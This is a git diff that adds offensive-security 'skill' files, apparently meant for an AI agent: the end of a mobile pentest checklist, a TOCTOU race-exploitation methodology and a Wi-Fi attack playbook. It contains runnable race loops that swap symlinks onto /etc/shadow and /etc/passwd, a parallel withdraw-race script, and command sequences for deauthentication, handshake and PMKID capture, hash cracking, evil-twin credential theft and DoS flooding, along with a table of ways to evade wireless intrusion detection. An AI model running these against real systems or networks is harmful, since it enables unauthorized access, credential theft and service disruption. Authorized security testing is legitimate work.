class-dump+[ ] Grep for endpoints, keys, tokens+[ ] Manifest / Info.plist review+[ ] Static-find exported components, deep links, URL schemes+[ ] Install on rooted/jailbroken; configure Frida+[ ] Bypass pinning, MITM all traffic+[ ] Test every API the app calls (web methodology)+[ ] Test exported components from another app / drozer / runtime+[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)+[ ] Test biometric flows for unbound auth+[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR+[ ] Cloud config: Firebase rules, S3 buckets, signed URLs+[ ] Push topics / subscription model+[ ] Device-binding / signing scheme analysis+```++---++## Key References++- OWASP MASTG (Mobile Application Security Testing Guide)+- OWASP MASVS — verification standard+- Frida CodeShare — codeshare.frida.re for ready-to-use hooks+- mobile-security-framework / MobSF for automated triage+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.mddiff --git a/Skills/offensive-toctou/SKILL.md b/Skills/offensive-toctou/SKILL.mdnew file mode 100644index 0000000..ba68173--- /dev/null+++ b/Skills/offensive-toctou/SKILL.md@@ -0,0 +1,347 @@+---+name: offensive-toctou+description: "Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch / userspace pointer races, container/runc/symlink escape primitives, kubernetes admission/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-claim TOCTOU at gateway vs service, payment/idempotency races, and modern race-amplification techniques (single-packet attack, slow loris, FUSE pause, cgroup freeze, scheduler shaping). Use when you've identified a 'check then act' pattern in code, when fuzzing for race conditions, or when exploiting concurrency bugs in privileged binaries / kernel / orchestrators."+---++# TOCTOU — Time-of-Check / Time-of-Use Exploitation++A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.++## Quick Workflow++1. Identify the **check** (syscall, function, validation step) and the **use** (the privileged action)+2. Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)+3. Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)+4. **Widen the window** with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2+5. Run a tight loop and confirm the post-use state corresponds to the swapped target++---++## The Core Pattern++```c+// Vulnerable+if (access(path, W_OK) == 0) { // check — resolves "path" now+ fd = open(path, O_WRONLY); // use — re-resolves "path" later+ write(fd, attacker_data, n);+}+```++Between `access` and `open`, an attacker replaces `path` with a symlink to `/etc/shadow`. The check sees an attacker-owned file; the use opens shadow as root.++The fix is always: **operate on the kernel object, not the path.** Use `O_NOFOLLOW`, `openat` with `AT_SYMLINK_NOFOLLOW`, `fstat` on the FD, etc.++---++## Filesystem TOCTOU++### Symlink Swap (Classic)++```bash+# Setup target — privileged binary that writes to user-supplied path after access() check+victim --output /tmp/.attacker/output++# Race loop+while true; do+ ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null+ ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null+done &++# Run victim repeatedly+while true; do victim --output /tmp/.attacker/output; done+```++### renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap++```c+syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);+```++`RENAME_EXCHANGE` swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.++### Directory Swap (mv between two prepared trees)++When the victim resolves `parent/file`, swap `parent` itself:++```bash+mv good_dir parent && mv evil_dir parent_was_good_dir+# If victim is mid-resolution of `parent/file`, dir cache may pin one side+```++### Bind Mount / Mount-Namespace Swap (root-only or in user-ns)++```bash+unshare -mUr+mkdir /tmp/x /tmp/y+echo benign > /tmp/x/file+mount --bind /etc/shadow /tmp/y/file+# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done+```++In containerized contexts with `CAP_SYS_ADMIN` in a user namespace, this is the foundation of multiple runc/CVE escape chains.++---++## Window-Widening Primitives++The race is always winnable in theory; in practice you need the window large enough for your swap.++### FUSE-Backed Slow Filesystem++Mount a FUSE filesystem you control. When the victim does `open` or `stat`, your handler sleeps:++```python+# fusepy+class SlowFS(Operations):+ def getattr(self, path, fh=None):+ if path == '/trigger':+ time.sleep(5) # stretch the check+ return os.lstat(self.root + path).__dict__+```++Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.++### Userfaultfd (kernel-level page faults)++```c+// Register a userfault region; when the victim reads the user-controlled buffer,+// pause it in the page-fault handler, swap data, then resume.+ioctl(uffd, UFFDIO_REGISTER, ®);+```++`userfaultfd` can pause a kernel-side `copy_from_user` mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires `vm.unprivileged_userfaultfd=1` (off by default in many distros).++### Cgroup Freeze++```bash+mkdir /sys/fs/cgroup/race+echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs+echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause+# swap files+echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume+```++### Single-CPU Pinning + sched_yield++```c+cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);+sched_setaffinity(victim_pid, sizeof(set), &set);+// Race threads on same CPU — context switch is the only progress unit+```++---++## Kernel Double-Fetch++A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.++```c+// Vulnerable kernel pattern+copy_from_user(&size, &user_arg->size, 4); // first fetch+if (size > MAX) return -EINVAL;+copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully.+```++Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.++---++## /proc and procfs Races++### /proc/pid/exe + ptrace++`/proc/<pid>/exe` is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).++```c+// Sketch+fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container+// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE+```++### /proc/pid/mem++`open("/proc/pid/mem")` followed by `lseek+write` historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.++### /proc/pid/cwd / fd / root++Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of `/proc/pid/root/etc/shadow` from a sibling container is a recurring vuln class.++---++## Setuid Binary TOCTOU++```c+// Vulnerable flow in classic SUID binary+if (!access(file, R_OK)) { // check with real UID via access()+ fd = open(file, O_RDONLY); // open with effective UID = root+ sendfile(stdout, fd, ...);+}+```++Symlink swap between `access` and `open` makes the binary read root-readable files for unprivileged users.++**Rule of thumb when reviewing setuid/setgid binaries:** every path appearing twice in a syscall trace is a candidate.++```bash+strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"+# Multiple resolutions of the same user-controlled path = TOCTOU surface+```++---++## Container Escape via TOCTOU++### CVE-2019-5736 (runc) — `/proc/self/exe` Overwrite++When a container runs `docker exec`, runc opens `/proc/self/exe` from the host. By replacing the in-container binary with a symlink to `/proc/self/exe`, the host runc rewrites itself.++### CVE-2024-21626 (runc "Leaky Vessels") — Working-Directory FD Leak++A leaked file descriptor to the host filesystem could be inherited via `WORKDIR /proc/self/fd/<n>` — the container's first process held a host FD, races on namespace setup let it act on host paths.++### Symlink-on-Mount Race++When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to `/`. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.++---++## Web / API TOCTOU++### Auth vs Authz Split at Gateway++```+Gateway: validates JWT (signature, exp) → forwards to service+Service: trusts gateway's "X-User-Id" header+```++If the JWT is revoked between gateway cache and gateway validation, or the gateway caches "valid" results too long, you get post-revocation access. Cache-key confusion (different gateway nodes) widens the window.++### Permission Recheck Skipped on Long-Running Action++```python+# Vulnerable+def long_export(user, resource_id):+ check_access(user, resource_id) # check+ data = stream_resource(resource_id) # use — minutes long+ return data # access could have been revoked mid-stream+```++Test: revoke access while a download is mid-stream; if data continues, recheck is missing.++### Idempotency-Key Reuse with Different Body++```http+POST /api/withdraw Idempotency-Key: K1 { "amount": 1 }+POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different body+```++Many implementations key only on the key, not key+body-hash → second request returns the first's response while still processing the second's debit.++### Single-Packet Multi-Request++```+HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.+Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.+Tool: Burp Repeater "Send group in parallel (single-packet)".+```++This is the standard primitive for web TOCTOU since 2023; old `httpie ... &` parallelism is obsolete.++### Limit / Quota TOCTOU++```python+# Vulnerable+if user.balance >= amount: # check+ user.balance -= amount # use — non-atomic read-modify-write+ pay(user, amount)+```++Send N parallel requests, each sees the same pre-decrement balance. Fix: atomic decrement with constraint (`UPDATE ... WHERE balance >= amount`).++---++## Mobile / Binary Cookbook++### Android: Intent Redirect TOCTOU++Activity checks calling package via `getCallingPackage()` then dispatches via Intent — between check and dispatch, attacker swaps the underlying ContentProvider URI authority resolution.++### iOS: NSXPC Audit Token Confusion++`audit_token_t` should be captured at the start of each XPC message handling. If the service captures it once and reuses, an attacker can race PID reuse to impersonate.++---++## Detection & Tooling++| Tool | Layer | Use |+|------|-------|-----|+| `strace -e trace=file -f` | Linux syscall | Find duplicate path resolutions |+| `bpftrace` / `bcc` | Kernel | Probe specific syscalls' args at scale |+| ThreadSanitizer (TSan) | Userspace C/C++ | Compile-time race detection |+| Helgrind / DRD | Userspace | Pthread race detection |+| Bochspwn-Reloaded | Kernel | Double-fetch detection |+| `syzkaller` | Kernel | Coverage-guided race fuzzing |+| Burp Suite (Repeater single-packet) | Web/HTTP | Concurrent request races |+| `racepwn` | Web | Multi-thread + timing harness |+| `Turbo Intruder` | Web | Pipelined parallel requests |++```bash+# Quick filesystem TOCTOU finder against a binary+strace -f -e trace=file ./target 2>&1 | \+ awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \+ sort | uniq -c | sort -rn | head+# Paths appearing N>1 times → TOCTOU candidates+```++---++## Race Loop Templates++### Filesystem (C)++```c+#include <sys/syscall.h>+#include <linux/fs.h>+int main() {+ pid_t p = fork();+ if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }+ for(;;) execve(victim, args, env);+}+```++### Web (Python — single-packet HTTP/2)++```python+# Use httpx or h2 directly; pyburp or turbo-intruder for production+import httpx, anyio+async def race():+ async with httpx.AsyncClient(http2=True) as c:+ async with anyio.create_task_group() as tg:+ for _ in range(30):+ tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})+anyio.run(race)+```++For real reliability on TLS, prefer Burp's single-packet feature — it crafts an HTTP/2 last-byte synchronization.++---++## Reporting / Severity++A TOCTOU finding's severity rests on: window size (deterministic vs probabilistic), required adjacency (local user / container / authenticated remote), and the post-use primitive (file write, auth bypass, money). A "1-in-10000 race that gives root" is the same finding as a "deterministic race that gives root" once it's chained with a window-widening primitive. Always demonstrate:++1. The minimum reproducer+2. The window-widener used+3. The success rate observed+4. The post-exploit primitive achieved++---++## Key References++- MITRE CWE-367 (TOCTOU), CWE-362 (Race Condition)+- USENIX Security: "FUSE for Profit" — TOCTOU window-widening+- PortSwigger Research: "Smashing the state machine" (single-packet HTTP/2 attack)+- runc CVE-2019-5736, CVE-2024-21626 advisories+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.mddiff --git a/Skills/offensive-wifi/SKILL.md b/Skills/offensive-wifi/SKILL.mdnew file mode 100644index 0000000..34fb5d4--- /dev/null+++ b/Skills/offensive-wifi/SKILL.md@@ -0,0 +1,345 @@+---+name: offensive-wifi+description: "Wireless / 802.11 attack methodology for red team engagements and wireless security assessments. Covers monitor-mode setup, WPA/WPA2-PSK handshake capture and PMKID attacks, WPA3 SAE downgrade and Dragonblood, WPA-Enterprise (EAP) attacks (MSCHAPv2 cracking, EAP-TLS cert theft, evil-twin RADIUS), Karma / Known Beacons / Mana evil twin attacks, captive-portal phishing, KRACK and FragAttacks, WPS Pixie Dust, deauthentication and disassociation attacks, rogue AP construction (hostapd-mana), 802.1X bypass, MAC randomization defeat, BLE/Zigbee/IEEE 802.15.4 sidebands, and Wi-Fi 6/6E/7 considerations. Use when scoping wireless pentest, war-driving an estate, or testing corporate wireless segmentation."+---++# Wireless / 802.11 — Offensive Testing Methodology++## Quick Workflow++1. Pick the right adapter (monitor mode + injection + correct band/PHY for target)+2. Recon airspace passively — never deauth before you know the topology+3. Choose attack: handshake capture, PMKID, evil twin, KARMA, or WPS+4. Crack offline; do not rely on online dictionary attacks+5. If WPA-Enterprise, pivot through stolen creds or rogue RADIUS++---++## Hardware & Adapter Selection++| Chipset | Strengths | Notes |+|---------|-----------|-------|+| Atheros AR9271 (Alfa AWUS036NHA) | Solid 2.4 GHz monitor + injection | 802.11n only |+| Realtek RTL8812AU (AWUS036ACH) | Dual-band, injection | Driver: `aircrack-ng/rtl8812au` |+| MediaTek MT7612U (AWUS036ACM) | Stable dual-band | Modern kernels in-tree |+| MediaTek MT7921AU | Wi-Fi 6 monitor (limited) | Patched drivers required |+| AWUS036AXML / AXM | Wi-Fi 6E (6 GHz) | Bleeding edge — verify per release |++```bash+# Verify monitor + injection+sudo airmon-ng check kill+sudo airmon-ng start wlan0+sudo aireplay-ng --test wlan0mon+iw list | grep -A 8 "Supported interface modes"+```++---++## Reconnaissance++```bash+# Multi-channel discovery (all bands)+sudo airodump-ng wlan0mon --band abg++# Targeted on a known channel/BSSID+sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon++# Hidden SSID — wait for client probe or force deauth+sudo airodump-ng -c 6 --essid-regex "." wlan0mon++# Wigle / Kismet for war-driving+kismet -c wlan0mon+```++**Key data to record:** BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.++---++## WPA / WPA2-PSK++### Four-way Handshake Capture++```bash+# Targeted capture+sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon++# Force a reconnect (deauth one client, do not blanket the AP)+sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon+```++Verify the EAPOL frames are usable:++```bash+hcxpcapngtool -o hash.hc22000 handshake-01.cap+```++### PMKID (No Client Required)++PMKID lives in the first AP-to-station message — you can grab it without anyone connected.++```bash+sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \+ --enable_status=1 --filterlist_ap=targets.txt --filtermode=2++hcxpcapngtool -o hash.hc22000 pmkid.pcapng+```++### Cracking++```bash+# GPU dictionary attack+hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule++# Mask attack (e.g. carrier defaults: 10 digits)+hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d++# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)+upc_keys ESSID | hashcat -m 22000 hash.hc22000 -+```++---++## WPA3 / SAE++### Transition-Mode Downgrade++If the AP advertises both WPA2 and WPA3 (transition mode), force clients onto WPA2 by spoofing an RSN-only beacon and capturing as PSK.++### Dragonblood (CVE-2019-9494/9495/13377)++Side-channel and downgrade attacks on SAE. Older hostapd (<2.10) with insufficient curve diversification leaks password elements via timing/cache attacks.++```bash+# Reference implementation+git clone https://github.com/vanhoefm/dragonblood+python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF+python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon+```++### SAE Auth Flooding (Resource Exhaustion)++```bash+sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024+# Triggers heavy crypto on AP CPU; can DoS lower-end deployments+```++---++## WPA-Enterprise (802.1X / EAP)++### Method Identification++```bash+# Watch initial EAP-Request/Identity to fingerprint method+tshark -i wlan0mon -Y "eapol || eap" -V+```++| Inner Method | Attack |+|--------------|--------|+| EAP-MSCHAPv2 (PEAP/TTLS) | Crack NetNTLMv1-style challenge offline |+| EAP-GTC | Cleartext password — capture via rogue RADIUS |+| EAP-TLS | Steal client cert (often in user keychain / DPAPI / NDES) |+| EAP-PWD | Dragonblood-class side channels |++### Evil-Twin RADIUS (MSCHAPv2 / GTC)++```bash+# eaphammer — automated rogue AP + RADIUS+eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF \+ --auth wpa-eap --creds++# Captured hashes → asleap or hashcat -m 5500+asleap -C challenge -R response -W wordlist.txt+```++**Critical:** organizations that don't pin server cert + CN on supplicants are vulnerable. Win10/11 with `ServerValidation` disabled (common for BYOD) will hand over creds.++### EAP-TLS Cert Theft Paths++- DPAPI master key + cert blob from user profile (`%APPDATA%\Microsoft\SystemCertificates`)+- NDES misconfig (ESC8-class cert request abuse)+- ADCS user auto-enrollment template with weak ACL++---++## WPS++### Pixie Dust (Offline)++```bash+# Capture WPS exchange+reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv+# Or+bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon+```++Vulnerable chipsets: Ralink, Realtek, Broadcom (older firmware), MediaTek (specific revs). Pixiewps recovers PIN in seconds when nonces are predictable.++### Online PIN Brute (Last Resort)++```bash+reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -N -d 15 -t 30 -T .5 -r 3:30+# Most modern APs lock out after a few failures — slow and noisy+```++---++## Evil Twin / KARMA / Mana++### Stock Evil Twin (Captive Portal)++```bash+# wifiphisher — automated AP + phishing portal+sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd++# airgeddon — interactive menu (good for one-off engagements)+sudo airgeddon+```++### KARMA / Mana (Probe Exploitation)++Older stations broadcast PNL (Preferred Network List) probes. KARMA replies "yes" to anything; Mana picks one realistic ESSID and answers consistently to defeat MAC randomization.++```bash+# hostapd-mana+sudo hostapd-mana ./mana.conf++# Combine with rogue RADIUS for enterprise nets+eaphammer -i wlan0 --known-beacons --known-ssids-file ssids.txt \+ --auth wpa-eap --creds --hostile-portal+```++### MAC Randomization Defeat++iOS/Android randomize MACs but leak per-SSID stable IDs. Cluster probes by sequence number and timing to re-identify devices.++---++## KRACK & FragAttacks++| Attack | Class | Target |+|--------|-------|--------|+| KRACK (CVE-2017-13077..082) | Key reinstallation | Unpatched WPA2 supplicants |+| FragAttacks (CVE-2020-24586..588) | Fragmentation/aggregation | Most pre-2021 implementations |++Test a network's patch status:++```bash+# Vanhoef test scripts+git clone https://github.com/vanhoefm/krackattacks-scripts+./krack-test-client.py+git clone https://github.com/vanhoefm/fragattacks+./test-fragattacks.py wlan0+```++---++## Deauth / Disassociation Attacks++```bash+# Single client deauth (use for handshake capture)+aireplay-ng --deauth 3 -a AP -c CLIENT wlan0mon++# Broadcast (DoS — only with explicit authorization)+mdk4 wlan0mon d -B target_bssids.txt++# Disassoc + auth flood combo (kicks then prevents reconnect)+mdk4 wlan0mon a -a AP_BSSID -m+```++802.11w (PMF) blocks unencrypted deauth. Most modern enterprise APs require it. Clients without PMF support are still kickable via `Action` frames.++---++## 802.1X / Wired NAC Bypass (Adjacent)++```bash+# Sniff valid 802.1X exchange on wired side+tcpdump -i eth0 -w nac.pcap ether proto 0x888e++# silentbridge / nac_bypass — transparently bridge through an authenticated host+git clone https://github.com/s0lst1c3/silentbridge+silentbridge --takeover --phy wlan0 # variants for wired+```++---++## Wi-Fi 6 / 6E / 7 Considerations++- **6 GHz (Wi-Fi 6E)** disables WPA2-only; WPA3 + PMF mandatory. Many attacks are mitigated by spec.+- **OFDMA / MU-MIMO**: legacy injection often misaligns with RU allocations — verify packet delivery on test bench.+- **TWT (Target Wake Time)**: deauth windows differ; observe BA sessions before injecting.+- **MLO (Wi-Fi 7)**: a single client over multiple links — capture must cover all links to recover full session.++---++## Sidebands & Adjacent Wireless++| Tech | Tool | Notes |+|------|------|-------|+| Bluetooth Classic | `redfang`, `crackle`, `btproxy` | LMP/L2CAP fuzzing |+| BLE | `bettercap`, `Sniffle` (TI CC1352), `Frontline` | GATT enumeration, LE Secure Connections downgrade |+| Zigbee / 802.15.4 | `KillerBee`, `apimote`, `ATUSB` | Touchlink commissioning abuse |+| Z-Wave | `Z-Force`, `EZ-Wave` | S0 key reuse bug class |+| LoRa / LoRaWAN | `LoRaPWN`, `ChirpStack` | Join-request replay, ABP key reuse |+| 433/868 MHz (Sub-GHz) | HackRF / Flipper Zero | Garage doors, doorbells, telemetry |++---++## RADIUS / Backend Pivots Post-Compromise++```bash+# If you crack a domain user via PEAP-MSCHAPv2, pivot to AD+nxc smb dc -u captured_user -p cracked_pass --pass-pol++# If RADIUS server is stand-alone (FreeRADIUS), check users file & MOTP secrets+# If on Windows NPS, pivot via the service account context+```++---++## Engagement Cheatsheet++```bash+# 1. Setup+sudo airmon-ng check kill && sudo airmon-ng start wlan0+sudo iw reg set US++# 2. Recon (do not deauth yet)+sudo airodump-ng wlan0mon --band abg --write recon++# 3. PMKID sweep (passive)+sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1++# 4. Targeted capture if PMKID empty+sudo airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon &+sudo aireplay-ng --deauth 3 -a <AP> -c <client> wlan0mon++# 5. Crack offline+hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule++# 6. If enterprise → eaphammer evil twin+# 7. Document SSID, BSSID, channel, RSSI, encryption, attack used, time+```++---++## Detection / Defender View++| AP/WIDS Detector | Trigger | Evasion |+|------------------|---------|---------|+| Excessive deauth | >5 deauth/sec from one source MAC | Spread across spoofed MACs, target individuals |+| Rogue AP detection | Unauthorized BSSID on monitored channel | Match real BSSID's beacon timing/IE order exactly |+| Karma response anomaly | AP answering all probe SSIDs | Use Mana mode, pick one plausible SSID |+| WPS lockout | Repeated PIN failures | Pixie Dust offline only, abandon online brute |+| RADIUS log: cert mismatch | Supplicant rejects evil-twin cert | Use copies of victim CA-signed certs (unlikely) |++---++## Key References++- MITRE ATT&CK: T1200 (Hardware Additions), T1557.004 (AiTM via Evil Twin)+- IEEE 802.11-2020 (combined spec including KRACK mitigations)+- WPA3 Spec / Wi-Fi Alliance: dragonblood.net for vuln tracking+- hcxtools / hashcat WPA modes: docs at hashcat.net+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md